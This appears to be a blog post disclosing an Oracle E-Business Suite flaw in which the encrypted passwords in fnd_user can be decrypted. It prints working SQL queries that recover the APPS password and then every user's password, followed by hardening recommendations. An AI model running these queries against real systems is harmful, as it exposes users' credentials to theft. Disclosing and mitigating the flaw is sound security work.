Johan Louwers published an Oracle Applications passwords decryption vulnerability that allows a malicious user to expose the passwords of any Oracle Applications user. In Oracle E-Business Suite, usernames and their encrypted passwords are stored in the table fnd_user:
SQL> desc fnd_user; Name Null? Type ----------------------------------------- -------- ---------------- USER_ID NOT NULL NUMBER(15) USER_NAME NOT NULL VARCHAR2(100) LAST_UPDATE_DATE NOT NULL DATE LAST_UPDATED_BY NOT NULL NUMBER(15) CREATION_DATE NOT NULL DATE CREATED_BY NOT NULL NUMBER(15) LAST_UPDATE_LOGIN NUMBER(15) ENCRYPTED_FOUNDATION_PASSWORD NOT NULL VARCHAR2(100) ENCRYPTED_USER_PASSWORD NOT NULL VARCHAR2(100) ...
ENCRYPTED_USER_PASSWORD stores the encrypted value of the user’s password. The column
ENCRYPTED_FOUNDATION_PASSWORD stores the encrypted value of the guest user.
To decrypt the
ENCRYPTED_USER_PASSWORD you need access to the
DECRYPT function in the
APPS.FND_WEB_SEC package. Since
DECRYPT is a private function, you need to add the declaration of this function to the package specification so that you can use it outside the package.
FUNCTION decrypt(key IN VARCHAR2, value IN VARCHAR2) RETURN VARCHAR2;
key is the decrypted
value is the
So, the first step in the decryption of a user’s password is to decrypt the ENCRYPTED_FOUNDATION_PASSWORD. This can be accomplished by executing the following query:
WITH guest AS ( SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd, UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), 1, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/' ) - 1 ) ) user_name FROM DUAL) SELECT fnd_web_sec.decrypt (guest.user_pwd, fnd_user.encrypted_foundation_password ) apps_password FROM fnd_user, guest WHERE fnd_user.user_name = guest.user_name
Now, using the above query, we can now decrypt all the values in the
WITH guest AS ( SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd, UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), 1, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/' ) - 1 ) ) user_name FROM DUAL) SELECT fnd_user.user_name, fnd_web_sec.decrypt ((SELECT fnd_web_sec.decrypt (guest.user_pwd, fnd_user.encrypted_foundation_password ) apps_password FROM fnd_user, guest WHERE fnd_user.user_name = guest.user_name), fnd_user.encrypted_user_password ) decrypted_user_password FROM fnd_user ORDER BY fnd_user.user_name
Of course, in order for the above queries to work, you have to have the privilege to modify and compile the package
APPS.FND_WEB_SEC. Assuming that you do have this privilege on a development instance and assuming that passwords are not reset when a development instance is refreshed from a production instance, this can represent a serious security risk.
Updated a few hours later: Stephen Kost just blogged about this subject. He writes that since the decryption routine is a Java class, it is actually easy to create a Java application that calls the decrypt method. So, no need to even have access to a database to run the decrypt. Moreover, he does not expect Oracle to fix this password weakness in the foreseeable future. He also offers a few recommendations to improve the security of the user passwords, like making sure that APPLSYSPUB does not have SELECT privileges on APPS.FND_USER_VIEW, changing the passwords for all Oracle Applications 11i seeded accounts, creating all new user accounts with strong and unique passwords and limiting access to the APPLSYS.FND_USER and APPLSYS.FND_ORACLE_USERID tables by all non-DBA accounts.
Updated January 9 2007: Oracle Applications Password Decryption (PDF)